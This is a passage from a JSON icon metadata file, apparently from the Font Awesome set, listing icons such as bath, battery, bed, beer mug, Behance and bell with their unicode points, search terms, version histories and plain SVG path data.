        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M86.6 64l85.2 85.2C194.5 121.7 208 86.4 208 48c0-14.7-2-28.9-5.7-42.4C158.6 15 119 35.5 86.6 64zM64 86.6C35.5 119 15 158.6 5.6 202.3C19.1 206 33.3 208 48 208c38.4 0 73.7-13.5 101.3-36.1L64 86.6zM256 0c-7.3 0-14.6 .3-21.8 .9C238 16 240 31.8 240 48c0 47.3-17.1 90.5-45.4 124L256 233.4 425.4 64C380.2 24.2 320.9 0 256 0zM48 240c-16.2 0-32-2-47.1-5.8C.3 241.4 0 248.7 0 256c0 64.9 24.2 124.2 64 169.4L233.4 256 172 194.6C138.5 222.9 95.3 240 48 240zm463.1 37.8c.6-7.2 .9-14.5 .9-21.8c0-64.9-24.2-124.2-64-169.4L278.6 256 340 317.4c33.4-28.3 76.7-45.4 124-45.4c16.2 0 32 2 47.1 5.8zm-4.7 31.9C492.9 306 478.7 304 464 304c-38.4 0-73.7 13.5-101.3 36.1L448 425.4c28.5-32.3 49.1-71.9 58.4-115.7zM340.1 362.7C317.5 390.3 304 425.6 304 464c0 14.7 2 28.9 5.7 42.4C353.4 497 393 476.5 425.4 448l-85.2-85.2zM317.4 340L256 278.6 86.6 448c45.1 39.8 104.4 64 169.4 64c7.3 0 14.6-.3 21.8-.9C274 496 272 480.2 272 464c0-47.3 17.1-90.5 45.4-124z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M86.6 64l85.2 85.2C194.5 121.7 208 86.4 208 48c0-14.7-2-28.9-5.7-42.4C158.6 15 119 35.5 86.6 64zM64 86.6C35.5 119 15 158.6 5.6 202.3C19.1 206 33.3 208 48 208c38.4 0 73.7-13.5 101.3-36.1L64 86.6zM256 0c-7.3 0-14.6 .3-21.8 .9C238 16 240 31.8 240 48c0 47.3-17.1 90.5-45.4 124L256 233.4 425.4 64C380.2 24.2 320.9 0 256 0zM48 240c-16.2 0-32-2-47.1-5.8C.3 241.4 0 248.7 0 256c0 64.9 24.2 124.2 64 169.4L233.4 256 172 194.6C138.5 222.9 95.3 240 48 240zm463.1 37.8c.6-7.2 .9-14.5 .9-21.8c0-64.9-24.2-124.2-64-169.4L278.6 256 340 317.4c33.4-28.3 76.7-45.4 124-45.4c16.2 0 32 2 47.1 5.8zm-4.7 31.9C492.9 306 478.7 304 464 304c-38.4 0-73.7 13.5-101.3 36.1L448 425.4c28.5-32.3 49.1-71.9 58.4-115.7zM340.1 362.7C317.5 390.3 304 425.6 304 464c0 14.7 2 28.9 5.7 42.4C353.4 497 393 476.5 425.4 448l-85.2-85.2zM317.4 340L256 278.6 86.6 448c45.1 39.8 104.4 64 169.4 64c7.3 0 14.6-.3 21.8-.9C274 496 272 480.2 272 464c0-47.3 17.1-90.5 45.4-124z"
      }
    },
    "free": ["solid"]
  },
  "bath": {
    "aliases": {
      "names": ["bathtub"],
      "unicodes": {
        "composite": ["1f6c1"],
        "secondary": ["10f2cd"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bath", "bathtub", "clean", "shower", "tub", "wash"]
    },
    "styles": ["solid"],
    "unicode": "f2cd",
    "label": "Bath",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 77.3c0-7.3 5.9-13.3 13.3-13.3c3.5 0 6.9 1.4 9.4 3.9l14.9 14.9C130 91.8 128 101.7 128 112c0 19.9 7.2 38 19.2 52c-5.3 9.2-4 21.1 3.8 29c9.4 9.4 24.6 9.4 33.9 0L289 89c9.4-9.4 9.4-24.6 0-33.9c-7.9-7.9-19.8-9.1-29-3.8C246 39.2 227.9 32 208 32c-10.3 0-20.2 2-29.2 5.5L163.9 22.6C149.4 8.1 129.7 0 109.3 0C66.6 0 32 34.6 32 77.3V256c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H96V77.3zM32 352v16c0 28.4 12.4 54 32 71.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V464H384v16c0 17.7 14.3 32 32 32s32-14.3 32-32V439.6c19.6-17.6 32-43.1 32-71.6V352H32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 77.3c0-7.3 5.9-13.3 13.3-13.3c3.5 0 6.9 1.4 9.4 3.9l14.9 14.9C130 91.8 128 101.7 128 112c0 19.9 7.2 38 19.2 52c-5.3 9.2-4 21.1 3.8 29c9.4 9.4 24.6 9.4 33.9 0L289 89c9.4-9.4 9.4-24.6 0-33.9c-7.9-7.9-19.8-9.1-29-3.8C246 39.2 227.9 32 208 32c-10.3 0-20.2 2-29.2 5.5L163.9 22.6C149.4 8.1 129.7 0 109.3 0C66.6 0 32 34.6 32 77.3V256c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H96V77.3zM32 352v16c0 28.4 12.4 54 32 71.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V464H384v16c0 17.7 14.3 32 32 32s32-14.3 32-32V439.6c19.6-17.6 32-43.1 32-71.6V352H32z"
      }
    },
    "free": ["solid"]
  },
  "battery-empty": {
    "aliases": {
      "names": ["battery-0"],
      "unicodes": {
        "secondary": ["10f244"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["charge", "dead", "power", "status"]
    },
    "styles": ["solid"],
    "unicode": "f244",
    "label": "Battery Empty",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M80 160c-8.8 0-16 7.2-16 16V336c0 8.8 7.2 16 16 16H464c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H80zM0 176c0-44.2 35.8-80 80-80H464c44.2 0 80 35.8 80 80v16c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32v16c0 44.2-35.8 80-80 80H80c-44.2 0-80-35.8-80-80V176z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M80 160c-8.8 0-16 7.2-16 16V336c0 8.8 7.2 16 16 16H464c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H80zM0 176c0-44.2 35.8-80 80-80H464c44.2 0 80 35.8 80 80v16c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32v16c0 44.2-35.8 80-80 80H80c-44.2 0-80-35.8-80-80V176z"
      }
    },
    "free": ["solid"]
  },
  "battery-full": {
    "aliases": {
      "names": ["battery", "battery-5"],
      "unicodes": {
        "composite": ["1f50b"],
        "secondary": ["10f240"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["batter", "battery", "charge", "power", "status"]
    },
    "styles": ["solid"],
    "unicode": "f240",
    "label": "Battery Full",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm368 96H96V320H448V192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm368 96H96V320H448V192z"
      }
    },
    "free": ["solid"]
  },
  "battery-half": {
    "aliases": {
      "names": ["battery-3"],
      "unicodes": {
        "secondary": ["10f242"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["charge", "power", "status"]
    },
    "styles": ["solid"],
    "unicode": "f242",
    "label": "Battery Half",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm208 96H96V320H288V192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm208 96H96V320H288V192z"
      }
    },
    "free": ["solid"]
  },
  "battery-quarter": {
    "aliases": {
      "names": ["battery-2"],
      "unicodes": {
        "secondary": ["10f243"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["charge", "low", "power", "status"]
    },
    "styles": ["solid"],
    "unicode": "f243",
    "label": "Battery Quarter",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm112 96H96V320h96V192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm112 96H96V320h96V192z"
      }
    },
    "free": ["solid"]
  },
  "battery-three-quarters": {
    "aliases": {
      "names": ["battery-4"],
      "unicodes": {
        "secondary": ["10f241"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["charge", "power", "status"]
    },
    "styles": ["solid"],
    "unicode": "f241",
    "label": "Battery Three Quarters",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm272 96H96V320H352V192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm272 96H96V320H352V192z"
      }
    },
    "free": ["solid"]
  },
  "battle-net": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f835",
    "label": "Battle.net",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448.61 225.62c26.87.18 35.57-7.43 38.92-12.37 12.47-16.32-7.06-47.6-52.85-71.33 17.76-33.58 30.11-63.68 36.34-85.3 3.38-11.83 1.09-19 .45-20.25-1.72 10.52-15.85 48.46-48.2 100.05-25-11.22-56.52-20.1-93.77-23.8-8.94-16.94-34.88-63.86-60.48-88.93C252.18 7.14 238.7 1.07 228.18.22h-.05c-13.83-1.55-22.67 5.85-27.4 11-17.2 18.53-24.33 48.87-25 84.07-7.24-12.35-17.17-24.63-28.5-25.93h-.18c-20.66-3.48-38.39 29.22-36 81.29-38.36 1.38-71 5.75-93 11.23-9.9 2.45-16.22 7.27-17.76 9.72 1-.38 22.4-9.22 111.56-9.22 5.22 53 29.75 101.82 26 93.19-9.73 15.4-38.24 62.36-47.31 97.7-5.87 22.88-4.37 37.61.15 47.14 5.57 12.75 16.41 16.72 23.2 18.26 25 5.71 55.38-3.63 86.7-21.14-7.53 12.84-13.9 28.51-9.06 39.34 7.31 19.65 44.49 18.66 88.44-9.45 20.18 32.18 40.07 57.94 55.7 74.12a39.79 39.79 0 0 0 8.75 7.09c5.14 3.21 8.58 3.37 8.58 3.37-8.24-6.75-34-38-62.54-91.78 22.22-16 45.65-38.87 67.47-69.27 122.82 4.6 143.29-24.76 148-31.64 14.67-19.88 3.43-57.44-57.32-93.69zm-77.85 106.22c23.81-37.71 30.34-67.77 29.45-92.33 27.86 17.57 47.18 37.58 49.06 58.83 1.14 12.93-8.1 29.12-78.51 33.5zM216.9 387.69c9.76-6.23 19.53-13.12 29.2-20.49 6.68 13.33 13.6 26.1 20.6 38.19-40.6 21.86-68.84 12.76-49.8-17.7zm215-171.35c-10.29-5.34-21.16-10.34-32.38-15.05a722.459 722.459 0 0 0 22.74-36.9c39.06 24.1 45.9 53.18 9.64 51.95zM279.18 398c-5.51-11.35-11-23.5-16.5-36.44 43.25 1.27 62.42-18.73 63.28-20.41 0 .07-25 15.64-62.53 12.25a718.78 718.78 0 0 0 85.06-84q13.06-15.31 24.93-31.11c-.36-.29-1.54-3-16.51-12-51.7 60.27-102.34 98-132.75 115.92-20.59-11.18-40.84-31.78-55.71-61.49-20-39.92-30-82.39-31.57-116.07 12.3.91 25.27 2.17 38.85 3.88-22.29 36.8-14.39 63-13.47 64.23 0-.07-.95-29.17 20.14-59.57a695.23 695.23 0 0 0 44.67 152.84c.93-.38 1.84.88 18.67-8.25-26.33-74.47-33.76-138.17-34-173.43 20-12.42 48.18-19.8 81.63-17.81 44.57 2.67 86.36 15.25 116.32 30.71q-10.69 15.66-23.33 32.47C365.63 152 339.1 145.84 337.5 146c.11 0 25.9 14.07 41.52 47.22a717.63 717.63 0 0 0-115.34-31.71 646.608 646.608 0 0 0-39.39-6.05c-.07.45-1.81 1.85-2.16 20.33C300 190.28 358.78 215.68 389.36 233c.74 23.55-6.95 51.61-25.41 79.57-24.6 37.31-56.39 67.23-84.77 85.43zm27.4-287c-44.56-1.66-73.58 7.43-94.69 20.67 2-52.3 21.31-76.38 38.21-75.28C267 52.15 305 108.55 306.58 111zm-130.65 3.1c.48 12.11 1.59 24.62 3.21 37.28-14.55-.85-28.74-1.25-42.4-1.26-.08 3.24-.12-51 24.67-49.59h.09c5.76 1.09 10.63 6.88 14.43 13.57zm-28.06 162c20.76 39.7 43.3 60.57 65.25 72.31-46.79 24.76-77.53 20-84.92 4.51-.2-.21-11.13-15.3 19.67-76.81zm210.06 74.8\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448.61 225.62c26.87.18 35.57-7.43 38.92-12.37 12.47-16.32-7.06-47.6-52.85-71.33 17.76-33.58 30.11-63.68 36.34-85.3 3.38-11.83 1.09-19 .45-20.25-1.72 10.52-15.85 48.46-48.2 100.05-25-11.22-56.52-20.1-93.77-23.8-8.94-16.94-34.88-63.86-60.48-88.93C252.18 7.14 238.7 1.07 228.18.22h-.05c-13.83-1.55-22.67 5.85-27.4 11-17.2 18.53-24.33 48.87-25 84.07-7.24-12.35-17.17-24.63-28.5-25.93h-.18c-20.66-3.48-38.39 29.22-36 81.29-38.36 1.38-71 5.75-93 11.23-9.9 2.45-16.22 7.27-17.76 9.72 1-.38 22.4-9.22 111.56-9.22 5.22 53 29.75 101.82 26 93.19-9.73 15.4-38.24 62.36-47.31 97.7-5.87 22.88-4.37 37.61.15 47.14 5.57 12.75 16.41 16.72 23.2 18.26 25 5.71 55.38-3.63 86.7-21.14-7.53 12.84-13.9 28.51-9.06 39.34 7.31 19.65 44.49 18.66 88.44-9.45 20.18 32.18 40.07 57.94 55.7 74.12a39.79 39.79 0 0 0 8.75 7.09c5.14 3.21 8.58 3.37 8.58 3.37-8.24-6.75-34-38-62.54-91.78 22.22-16 45.65-38.87 67.47-69.27 122.82 4.6 143.29-24.76 148-31.64 14.67-19.88 3.43-57.44-57.32-93.69zm-77.85 106.22c23.81-37.71 30.34-67.77 29.45-92.33 27.86 17.57 47.18 37.58 49.06 58.83 1.14 12.93-8.1 29.12-78.51 33.5zM216.9 387.69c9.76-6.23 19.53-13.12 29.2-20.49 6.68 13.33 13.6 26.1 20.6 38.19-40.6 21.86-68.84 12.76-49.8-17.7zm215-171.35c-10.29-5.34-21.16-10.34-32.38-15.05a722.459 722.459 0 0 0 22.74-36.9c39.06 24.1 45.9 53.18 9.64 51.95zM279.18 398c-5.51-11.35-11-23.5-16.5-36.44 43.25 1.27 62.42-18.73 63.28-20.41 0 .07-25 15.64-62.53 12.25a718.78 718.78 0 0 0 85.06-84q13.06-15.31 24.93-31.11c-.36-.29-1.54-3-16.51-12-51.7 60.27-102.34 98-132.75 115.92-20.59-11.18-40.84-31.78-55.71-61.49-20-39.92-30-82.39-31.57-116.07 12.3.91 25.27 2.17 38.85 3.88-22.29 36.8-14.39 63-13.47 64.23 0-.07-.95-29.17 20.14-59.57a695.23 695.23 0 0 0 44.67 152.84c.93-.38 1.84.88 18.67-8.25-26.33-74.47-33.76-138.17-34-173.43 20-12.42 48.18-19.8 81.63-17.81 44.57 2.67 86.36 15.25 116.32 30.71q-10.69 15.66-23.33 32.47C365.63 152 339.1 145.84 337.5 146c.11 0 25.9 14.07 41.52 47.22a717.63 717.63 0 0 0-115.34-31.71 646.608 646.608 0 0 0-39.39-6.05c-.07.45-1.81 1.85-2.16 20.33C300 190.28 358.78 215.68 389.36 233c.74 23.55-6.95 51.61-25.41 79.57-24.6 37.31-56.39 67.23-84.77 85.43zm27.4-287c-44.56-1.66-73.58 7.43-94.69 20.67 2-52.3 21.31-76.38 38.21-75.28C267 52.15 305 108.55 306.58 111zm-130.65 3.1c.48 12.11 1.59 24.62 3.21 37.28-14.55-.85-28.74-1.25-42.4-1.26-.08 3.24-.12-51 24.67-49.59h.09c5.76 1.09 10.63 6.88 14.43 13.57zm-28.06 162c20.76 39.7 43.3 60.57 65.25 72.31-46.79 24.76-77.53 20-84.92 4.51-.2-.21-11.13-15.3 19.67-76.81zm210.06 74.8"
      }
    },
    "free": ["brands"]
  },
  "bed": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6cc"],
        "secondary": ["10f236"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "hospital",
        "hotel",
        "lodging",
        "mattress",
        "patient",
        "person in bed",
        "rest",
        "sleep",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f236",
    "label": "Bed",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 32c17.7 0 32 14.3 32 32V320H288V160c0-17.7 14.3-32 32-32H544c53 0 96 43 96 96V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V416H352 320 64v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 46.3 14.3 32 32 32zm144 96a80 80 0 1 1 0 160 80 80 0 1 1 0-160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 32c17.7 0 32 14.3 32 32V320H288V160c0-17.7 14.3-32 32-32H544c53 0 96 43 96 96V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V416H352 320 64v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 46.3 14.3 32 32 32zm144 96a80 80 0 1 1 0 160 80 80 0 1 1 0-160z"
      }
    },
    "free": ["solid"]
  },
  "bed-pulse": {
    "aliases": {
      "names": ["procedures"],
      "unicodes": {
        "secondary": ["10f487"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "EKG",
        "bed",
        "electrocardiogram",
        "health",
        "hospital",
        "life",
        "patient",
        "vital"
      ]
    },
    "styles": ["solid"],
    "unicode": "f487",
    "label": "Bed Pulse",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M483.2 9.6L524 64h92c13.3 0 24 10.7 24 24s-10.7 24-24 24H512c-7.6 0-14.7-3.6-19.2-9.6L468.7 70.3l-47 99.9c-3.7 7.8-11.3 13.1-19.9 13.7s-16.9-3.4-21.7-10.6L339.2 112H216c-13.3 0-24-10.7-24-24s10.7-24 24-24H352c8 0 15.5 4 20 10.7l24.4 36.6 45.9-97.5C445.9 6.2 453.2 1 461.6 .1s16.6 2.7 21.6 9.5zM320 160h12.7l20.7 31.1c11.2 16.8 30.6 26.3 50.7 24.8s37.9-13.7 46.5-32L461.9 160H544c53 0 96 43 96 96V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H352 320 64v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V96C0 78.3 14.3 64 32 64s32 14.3 32 32V352H288V192c0-17.7 14.3-32 32-32zm-144 0a80 80 0 1 1 0 160 80 80 0 1 1 0-160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M483.2 9.6L524 64h92c13.3 0 24 10.7 24 24s-10.7 24-24 24H512c-7.6 0-14.7-3.6-19.2-9.6L468.7 70.3l-47 99.9c-3.7 7.8-11.3 13.1-19.9 13.7s-16.9-3.4-21.7-10.6L339.2 112H216c-13.3 0-24-10.7-24-24s10.7-24 24-24H352c8 0 15.5 4 20 10.7l24.4 36.6 45.9-97.5C445.9 6.2 453.2 1 461.6 .1s16.6 2.7 21.6 9.5zM320 160h12.7l20.7 31.1c11.2 16.8 30.6 26.3 50.7 24.8s37.9-13.7 46.5-32L461.9 160H544c53 0 96 43 96 96V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H352 320 64v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V96C0 78.3 14.3 64 32 64s32 14.3 32 32V352H288V192c0-17.7 14.3-32 32-32zm-144 0a80 80 0 1 1 0 160 80 80 0 1 1 0-160z"
      }
    },
    "free": ["solid"]
  },
  "beer-mug-empty": {
    "aliases": {
      "names": ["beer"],
      "unicodes": {
        "secondary": ["10f0fc"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "ale",
        "bar",
        "beverage",
        "brew",
        "brewery",
        "drink",
        "foam",
        "lager",
        "liquor",
        "mug",
        "stein"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0fc",
    "label": "Beer Mug Empty",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767421,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 64c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32V96h51.2c42.4 0 76.8 34.4 76.8 76.8V274.9c0 30.4-17.9 57.9-45.6 70.2L384 381.7V416c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V64zM384 311.6l56.4-25.1c4.6-2.1 7.6-6.6 7.6-11.7V172.8c0-7.1-5.7-12.8-12.8-12.8H384V311.6zM160 144c0-8.8-7.2-16-16-16s-16 7.2-16 16V368c0 8.8 7.2 16 16 16s16-7.2 16-16V144zm64 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V368c0 8.8 7.2 16 16 16s16-7.2 16-16V144zm64 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V368c0 8.8 7.2 16 16 16s16-7.2 16-16V144z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 64c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32V96h51.2c42.4 0 76.8 34.4 76.8 76.8V274.9c0 30.4-17.9 57.9-45.6 70.2L384 381.7V416c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V64zM384 311.6l56.4-25.1c4.6-2.1 7.6-6.6 7.6-11.7V172.8c0-7.1-5.7-12.8-12.8-12.8H384V311.6zM160 144c0-8.8-7.2-16-16-16s-16 7.2-16 16V368c0 8.8 7.2 16 16 16s16-7.2 16-16V144zm64 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V368c0 8.8 7.2 16 16 16s16-7.2 16-16V144zm64 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V368c0 8.8 7.2 16 16 16s16-7.2 16-16V144z"
      }
    },
    "free": ["solid"]
  },
  "behance": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1b4",
    "label": "Behance",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M232 237.2c31.8-15.2 48.4-38.2 48.4-74 0-70.6-52.6-87.8-113.3-87.8H0v354.4h171.8c64.4 0 124.9-30.9 124.9-102.9 0-44.5-21.1-77.4-64.7-89.7zM77.9 135.9H151c28.1 0 53.4 7.9 53.4 40.5 0 30.1-19.7 42.2-47.5 42.2h-79v-82.7zm83.3 233.7H77.9V272h84.9c34.3 0 56 14.3 56 50.6 0 35.8-25.9 47-57.6 47zm358.5-240.7H376V94h143.7v34.9zM576 305.2c0-75.9-44.4-139.2-124.9-139.2-78.2 0-131.3 58.8-131.3 135.8 0 79.9 50.3 134.7 131.3 134.7 61.3 0 101-27.6 120.1-86.3H509c-6.7 21.9-34.3 33.5-55.7 33.5-41.3 0-63-24.2-63-65.3h185.1c.3-4.2.6-8.7.6-13.2zM390.4 274c2.3-33.7 24.7-54.8 58.5-54.8 35.4 0 53.2 20.8 56.2 54.8H390.4z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M232 237.2c31.8-15.2 48.4-38.2 48.4-74 0-70.6-52.6-87.8-113.3-87.8H0v354.4h171.8c64.4 0 124.9-30.9 124.9-102.9 0-44.5-21.1-77.4-64.7-89.7zM77.9 135.9H151c28.1 0 53.4 7.9 53.4 40.5 0 30.1-19.7 42.2-47.5 42.2h-79v-82.7zm83.3 233.7H77.9V272h84.9c34.3 0 56 14.3 56 50.6 0 35.8-25.9 47-57.6 47zm358.5-240.7H376V94h143.7v34.9zM576 305.2c0-75.9-44.4-139.2-124.9-139.2-78.2 0-131.3 58.8-131.3 135.8 0 79.9 50.3 134.7 131.3 134.7 61.3 0 101-27.6 120.1-86.3H509c-6.7 21.9-34.3 33.5-55.7 33.5-41.3 0-63-24.2-63-65.3h185.1c.3-4.2.6-8.7.6-13.2zM390.4 274c2.3-33.7 24.7-54.8 58.5-54.8 35.4 0 53.2 20.8 56.2 54.8H390.4z"
      }
    },
    "free": ["brands"]
  },
  "bell": {
    "aliases": {
      "unicodes": {
        "composite": ["1f514", "f0a2"],
        "secondary": ["10f0f3"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.2.0",
      "5.11.0",
      "6.0.0-beta1",
